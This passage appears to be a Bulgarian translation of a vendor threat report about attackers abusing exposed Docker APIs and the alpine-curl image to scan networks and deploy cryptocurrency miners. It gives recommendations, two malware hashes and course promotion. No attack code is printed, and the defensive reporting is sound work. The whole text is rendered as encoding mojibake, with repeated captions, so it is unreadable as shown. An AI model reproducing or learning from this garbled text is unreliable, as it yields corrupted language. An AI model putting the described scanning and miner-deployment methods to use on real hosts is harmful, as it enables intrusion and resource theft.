Π’Π΅Π΄Π½Π°Π³Π° Ρ‰ΠΎΠΌ Π±ΡŠΠ΄Π°Ρ‚ Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ възмоТни Ρ†Π΅Π»ΠΈ, Π±Π°Π½Π΅Ρ€ΠΈΡ‚Π΅ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ сС ΠΏΡ€Π΅ΠΌΠ°Ρ…Π²Π°Ρ‚ ΠΎΡ‚ тях. Π‘ΠΊΡ€ΠΈΠΏΡ‚ΡŠΡ‚ ΡΡŠΡ‰ΠΎ Ρ„ΠΈΠ»Ρ‚Ρ€ΠΈΡ€Π° Ρ†Π΅Π»ΠΈ Π² зависимост ΠΎΡ‚ услугитС, прилоТСнията, ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΈΡ‚Π΅ ΠΈΠ»ΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠΈΡ‚Π΅, ΠΊΠΎΠΈΡ‚ΠΎ прСдставляват интСрСс: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16 ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΈ Apache CouchDB. Ако сканираният ΡΡŠΡ€Π²ΡŠΡ€ отговаря Π½Π° някой ΠΎΡ‚ тях, Ρ‚ΠΎΠΉ сС записва Π² тСкстов Ρ„Π°ΠΉΠ», ΠΊΠΎΠΉΡ‚ΠΎ Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ ΠΌΠΎΠ³Π°Ρ‚ ΠΏΠΎ-късно Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° послСдващ Π°Π½Π°Π»ΠΈΠ· ΠΈ Ρ…Π°ΠΊΠ²Π°Π½Π΅. Π’Π΅Π·ΠΈ тСкстови Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ сС ΠΊΠ°Ρ‡Π²Π°Ρ‚ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Π½Π°ΠΏΠ°Π΄Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ Ρ‡Ρ€Π΅Π· Π΄ΠΈΠ½Π°ΠΌΠΈΡ‡Π½ΠΈ Π²Ρ€ΡŠΠ·ΠΊΠΈ. ВоСст Π·Π° всСки Ρ„Π°ΠΉΠ» сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΎΡ‚Π΄Π΅Π»Π΅Π½ URL, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π²Π°, Ρ‡Π΅ послСдващият Π΄ΠΎΡΡ‚ΡŠΠΏ Π΅ Ρ‚Ρ€ΡƒΠ΄Π΅Π½.

Π’Π΅ΠΊΡ‚ΠΎΡ€ΡŠΡ‚ Π½Π° Π°Ρ‚Π°ΠΊΠ° Π΅ Docker ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° сС Π²ΠΈΠ΄ΠΈ Π² слСдващитС Π΄Π²Π΅ части ΠΎΡ‚ ΠΊΠΎΠ΄Π°.

Как нСчастният Docker API ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ изобраТСния ΠΎΡ‚ общността сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° разпространСниС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°
Π’ Π³ΠΎΡ€Π½Π°Ρ‚Π° част Π΅ ΠΏΡ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠ²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Π° услуга, Π° Π² Π΄ΠΎΠ»Π½Π°Ρ‚Π° част Π΅ ΠΊΠ°ΠΊ zmap сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° сканиранС Π½Π° ΠΌΡ€Π΅ΠΆΠΈ

Как нСчастният Docker API ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ изобраТСния ΠΎΡ‚ общността сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° разпространСниС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°
Π’ Π³ΠΎΡ€Π½Π°Ρ‚Π° част са ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»Π½ΠΎ Π·Π°Π΄Π°Π΄Π΅Π½ΠΈ ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΈ, Π² Π΄ΠΎΠ»Π½Π°Ρ‚Π° част са спСцифични ΠΏΠΎΡ€Ρ‚ΠΎΠ²Π΅ Π·Π° Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅ Π½Π° услуги, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ Docker

Как нСчастният Docker API ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΈΡ‚Π΅ изобраТСния ΠΎΡ‚ общността сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° разпространСниС Π½Π° ΠΊΠΎΠΏΠ°Ρ‡ΠΈ Π½Π° ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ²Π°Π»ΡƒΡ‚Π°
Π•ΠΊΡ€Π°Π½Π½Π°Ρ‚Π° снимка ΠΏΠΎΠΊΠ°Π·Π²Π°, Ρ‡Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ с алпийски ΠΊΡŠΠ΄Ρ€ΠΈΡ†ΠΈ Π΅ ΠΈΠ·Ρ‚Π΅Π³Π»Π΅Π½ΠΎ ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΎΡ‚ 10 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° ΠΏΡŠΡ‚ΠΈ

Π‘Π°Π·ΠΈΡ€Π°Π½ Π½Π° Alpine Linux ΠΈ curl, рСсурсно Π΅Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π΅Π½ CLI инструмСнт Π·Π° ΠΏΡ€Π΅Ρ…Π²ΡŠΡ€Π»ΡΠ½Π΅ Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΏΡ€Π΅Π· Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·Π³Ρ€Π°Π΄ΠΈΡ‚Π΅ Π”ΠΎΠΊΠ΅Ρ€ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. ΠšΠ°ΠΊΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΠΏΡ€Π΅Π΄ΠΈΡˆΠ½ΠΎΡ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‚ΠΎΠ²Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ‡Π΅ Π΅ ΠΈΠ·Ρ‚Π΅Π³Π»Π΅Π½ΠΎ ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΎΡ‚ 10 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° ΠΏΡŠΡ‚ΠΈ. ГолСмият Π±Ρ€ΠΎΠΉ изтСгляния ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΎΠ·Π½Π°Ρ‡Π°Π²Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Ρ‚ΠΎΠ²Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°Ρ‚ΠΎ Π²Ρ…ΠΎΠ΄Π½Π° Ρ‚ΠΎΡ‡ΠΊΠ°; Ρ‚ΠΎΠ²Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΅ Π°ΠΊΡ‚ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€Π°Π½ΠΎ ΠΏΡ€Π΅Π΄ΠΈ ΠΏΠΎΠ²Π΅Ρ‡Π΅ ΠΎΡ‚ ΡˆΠ΅ΡΡ‚ мСсСца; ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅ Π½Π΅ са изтСгляли Π΄Ρ€ΡƒΠ³ΠΈ изобраТСния ΠΎΡ‚ Ρ‚ΠΎΠ²Π° Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ Ρ‚ΠΎΠ»ΠΊΠΎΠ²Π° чСсто. Π’ Docker Π²Ρ…ΠΎΠ΄Π½Π° Ρ‚ΠΎΡ‡ΠΊΠ° - Π½Π°Π±ΠΎΡ€ ΠΎΡ‚ инструкции, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½Π΅ Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, Π·Π° Π΄Π° Π³ΠΎ изпълнява. Ако настройкитС Π½Π° Π²Ρ…ΠΎΠ΄Π½Π°Ρ‚Π° Ρ‚ΠΎΡ‡ΠΊΠ° са Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΡŠΡ‚ Π΅ оставСн ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ ΠΎΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚), ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΊΠ°Ρ‚ΠΎ Π²Π΅ΠΊΡ‚ΠΎΡ€ Π·Π° Π°Ρ‚Π°ΠΊΠ°. НападатСлитС ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π³ΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚, Π·Π° Π΄Π° доставят ΠΏΠΎΠ»Π΅Π·Π΅Π½ Ρ‚ΠΎΠ²Π°Ρ€, Π°ΠΊΠΎ намСрят Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ ΠΈΠ»ΠΈ ΠΎΡ‚Π²ΠΎΡ€Π΅Π½ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, оставСн Π½Π΅ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ°Π½.

Π’Π°ΠΆΠ½ΠΎ Π΅ Π΄Π° сС ΠΎΡ‚Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ Ρ‚ΠΎΠ²Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (alpine-curl) само ΠΏΠΎ сСбС си Π½Π΅ Π΅ Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΎ, Π½ΠΎ ΠΊΠ°ΠΊΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΏΠΎ-Π³ΠΎΡ€Π΅, ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Π½Π΅ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Подобни изобраТСния Π½Π° Docker ΠΌΠΎΠ³Π°Ρ‚ ΡΡŠΡ‰ΠΎ Π΄Π° сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π·Π° ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π°Π½Π΅ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ дСйности. Π‘Π²ΡŠΡ€Π·Π°Ρ…ΠΌΠ΅ сС с Docker ΠΈ Ρ€Π°Π±ΠΎΡ‚ΠΈΡ…ΠΌΠ΅ с тях ΠΏΠΎ Ρ‚ΠΎΠ·ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ.

ΠΏΡ€Π΅ΠΏΠΎΡ€ΡŠΠΊΠΈ

НСправилна настройка останки постоянСн ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π·Π° ΠΌΠ½ΠΎΠ³ΠΎ Ρ„ΠΈΡ€ΠΌΠΈ, особСно Ρ‚Π΅Π·ΠΈ внСдряващи DevOps, фокусиран Π²ΡŠΡ€Ρ…Ρƒ Π±ΡŠΡ€Π·ΠΎΡ‚ΠΎ Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ ΠΈ доставка. Всичко сС утСТнява ΠΎΡ‚ нСобходимостта Π΄Π° сС спазват ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ‚Π° Π·Π° ΠΎΠ΄ΠΈΡ‚ ΠΈ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³, нСобходимостта Π΄Π° сС слСди повСритСлността Π½Π° Π΄Π°Π½Π½ΠΈΡ‚Π΅, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΈΡ‚Π΅ Ρ‰Π΅Ρ‚ΠΈ ΠΎΡ‚ тяхното нСспазванС. Π’ΠΊΠ»ΡŽΡ‡Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° автоматизация Π½Π° сигурността Π² ТизнСния Ρ†ΠΈΠΊΡŠΠ» Π½Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π΅ само Π²ΠΈ ΠΏΠΎΠΌΠ°Π³Π° Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅Ρ‚Π΅ Π΄ΡƒΠΏΠΊΠΈ Π² сигурността, ΠΊΠΎΠΈΡ‚ΠΎ ΠΈΠ½Π°Ρ‡Π΅ Π±ΠΈΡ…Π° ΠΌΠΎΠ³Π»ΠΈ Π΄Π° останат Π½Π΅ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ΠΈ, Π½ΠΎ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° Π²ΠΈ ΠΏΠΎΠΌΠ°Π³Π° Π΄Π° Π½Π°ΠΌΠ°Π»ΠΈΡ‚Π΅ Π½Π΅Π½ΡƒΠΆΠ½ΠΎΡ‚ΠΎ Π½Π°Ρ‚ΠΎΠ²Π°Ρ€Π²Π°Π½Π΅, ΠΊΠ°Ρ‚ΠΎ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ стартиранС Π½Π° Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ софтуСрни ΠΊΠΎΠΌΠΏΠΈΠ»Π°Ρ†ΠΈΠΈ Π·Π° всяка ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° уязвимост ΠΈΠ»ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»Π½Π° конфигурация слСд внСдряванС Π½Π° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.

Π˜Π½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΡŠΡ‚, обсъдСн Π² Ρ‚Π°Π·ΠΈ статия, ΠΏΠΎΠ΄Ρ‡Π΅Ρ€Ρ‚Π°Π²Π° нСобходимостта Π΄Π° сС Π²Π·Π΅ΠΌΠ΅ ΠΏΡ€Π΅Π΄Π²ΠΈΠ΄ бСзопасността ΠΎΡ‚ самото Π½Π°Ρ‡Π°Π»ΠΎ, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ слСднитС ΠΏΡ€Π΅ΠΏΠΎΡ€ΡŠΠΊΠΈ:

  • Π—Π° систСмни администратори ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈ: Π’ΠΈΠ½Π°Π³ΠΈ провСрявайтС настройкитС Π½Π° API, Π·Π° Π΄Π° сС ΡƒΠ²Π΅Ρ€ΠΈΡ‚Π΅, Ρ‡Π΅ всичко Π΅ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€Π°Π½ΠΎ Π΄Π° ΠΏΡ€ΠΈΠ΅ΠΌΠ° само заявки ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π΅Π½ ΡΡŠΡ€Π²ΡŠΡ€ ΠΈΠ»ΠΈ Π²ΡŠΡ‚Ρ€Π΅ΡˆΠ½Π° ΠΌΡ€Π΅ΠΆΠ°.
  • Π‘Π»Π΅Π΄Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠ° Π½Π° Π½Π°ΠΉ-ΠΌΠ°Π»ΠΊΠΎ ΠΏΡ€Π°Π²Π°: ΡƒΠ²Π΅Ρ€Π΅Ρ‚Π΅ сС, Ρ‡Π΅ изобраТСнията Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈ са подписани ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½ΠΈ, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Ρ‚Π΅ Π΄ΠΎΡΡ‚ΡŠΠΏΠ° Π΄ΠΎ ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΈ (услуга Π·Π° стартиранС Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈ) ΠΈ Π΄ΠΎΠ±Π°Π²Π΅Ρ‚Π΅ ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅ към ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈΡ‚Π΅ Π²Ρ€ΡŠΠ·ΠΊΠΈ.
  • послСдвам ΠΏΡ€Π΅ΠΏΠΎΡ€ΡŠΠΊΠΈ ΠΈ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Π½Π΅ Π½Π° ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° сигурност, Π½Π°ΠΏΡ€. ΠΎΡ‚ Docker ΠΈ Π²Π³Ρ€Π°Π΄Π΅Π½ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π° бСзопасност.
  • Π˜Π·ΠΏΠΎΠ»Π·Π²Π°ΠΉΡ‚Π΅ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π°Π½ΠΎ сканиранС Π½Π° изпълнСния ΠΈ изобраТСния, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½Π° информация Π·Π° процСситС, изпълнявани Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° подправянС ΠΈΠ»ΠΈ Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅ Π½Π° уязвимости). ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŠΡ‚ Π½Π° прилоТСнията ΠΈ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³ΡŠΡ‚ Π½Π° цСлостта ΠΏΠΎΠΌΠ°Π³Π°Ρ‚ Π΄Π° сС прослСдят Π½Π΅ΠΎΠ±ΠΈΡ‡Π°ΠΉΠ½ΠΈ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ Π² ΡΡŠΡ€Π²ΡŠΡ€ΠΈ, Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ систСмни области.

Trendmicro ΠΏΠΎΠΌΠ°Π³Π° Π½Π° Π΅ΠΊΠΈΠΏΠΈΡ‚Π΅ Π½Π° DevOps Π΄Π° ΠΈΠ·Π³Ρ€Π°ΠΆΠ΄Π°Ρ‚ сигурно, Π΄Π° внСдряват Π±ΡŠΡ€Π·ΠΎ ΠΈ Π΄Π° стартират навсякъдС. Trend Micro Π₯ΠΈΠ±Ρ€ΠΈΠ΄Π½Π° ΠΎΠ±Π»Π°Ρ‡Π½Π° сигурност ΠžΡΠΈΠ³ΡƒΡ€ΡΠ²Π° ΠΌΠΎΡ‰Π½Π°, Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·ΠΈΡ€Π°Π½Π° ΠΈ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π°Π½Π° сигурност Π² DevOps Ρ‚Ρ€ΡŠΠ±ΠΎΠΏΡ€ΠΎΠ²ΠΎΠ΄Π° Π½Π° организацията ΠΈ осигурява мноТСство Π·Π°Ρ‰ΠΈΡ‚ΠΈ срСщу Π·Π°ΠΏΠ»Π°Ρ…ΠΈ XGen Π·Π° Π·Π°Ρ‰ΠΈΡ‚Π° Π½Π° физичСски, Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»Π½ΠΈ ΠΈ ΠΎΠ±Π»Π°Ρ‡Π½ΠΈ натоварвания ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅ Π½Π° изпълнСниС. Π’ΠΎΠΉ ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° добавя сигурност Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° с Π”ΡŠΠ»Π±ΠΎΠΊΠ° сигурност ΠΈ Deep Security Smart Check, ΠΊΠΎΠΈΡ‚ΠΎ сканират изобраТСния Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΈ Π½Π° Docker Π·Π° Π·Π»ΠΎΠ²Ρ€Π΅Π΄Π΅Π½ софтуСр ΠΈ уязвимости във всяка Ρ‚ΠΎΡ‡ΠΊΠ° ΠΎΡ‚ процСса Π½Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°, Π·Π° Π΄Π° прСдотвратят Π·Π°ΠΏΠ»Π°Ρ…ΠΈ, ΠΏΡ€Π΅Π΄ΠΈ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈ.

ΠŸΡ€ΠΈΠ·Π½Π°Ρ†ΠΈ Π½Π° компромис

Π‘Π²ΡŠΡ€Π·Π°Π½ΠΈ Ρ…Π΅ΡˆΠΎΠ²Π΅:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На Π”ΠΎΠΊΠ΅Ρ€ Π²ΠΈΠ΄Π΅ΠΎ курс ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠ²Π°Ρ‰ΠΈ Π»Π΅ΠΊΡ‚ΠΎΡ€ΠΈ ΠΏΠΎΠΊΠ°Π·Π²Π°Ρ‚ ΠΊΠ°ΠΊΠ²ΠΈ настройки трябва Π΄Π° сС направят ΠΏΡŠΡ€Π²ΠΎ, Π·Π° Π΄Π° сС свСдС Π΄ΠΎ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ вСроятността ΠΈΠ»ΠΈ напълно Π΄Π° сС ΠΈΠ·Π±Π΅Π³Π½Π΅ Π²ΡŠΠ·Π½ΠΈΠΊΠ²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ситуацията, описана ΠΏΠΎ-Π³ΠΎΡ€Π΅. А Π½Π° 19-21 август Π½Π° ΠΎΠ½Π»Π°ΠΉΠ½ ΠΈΠ½Ρ‚Π΅Π½Π·ΠΈΠ² DevOps инструмСнти ΠΈ ΠΊΠΎΠ΄ΠΎΠ²Π΅ ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΎΠ±ΡΡŠΠ΄ΠΈΡ‚Π΅ Ρ‚Π΅Π·ΠΈ ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΈ със сигурността с ΠΊΠΎΠ»Π΅Π³ΠΈ ΠΈ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠ²Π°Ρ‰ΠΈ ΡƒΡ‡ΠΈΡ‚Π΅Π»ΠΈ Π½Π° ΠΊΡ€ΡŠΠ³Π»Π° маса, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ всСки ΠΌΠΎΠΆΠ΅ Π΄Π° сС ΠΈΠ·ΠΊΠ°ΠΆΠ΅ ΠΈ Π΄Π° ΠΈΠ·ΡΠ»ΡƒΡˆΠ° Π±ΠΎΠ»ΠΊΠΈΡ‚Π΅ ΠΈ успСхитС Π½Π° ΠΎΠΏΠΈΡ‚Π½ΠΈ ΠΊΠΎΠ»Π΅Π³ΠΈ.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€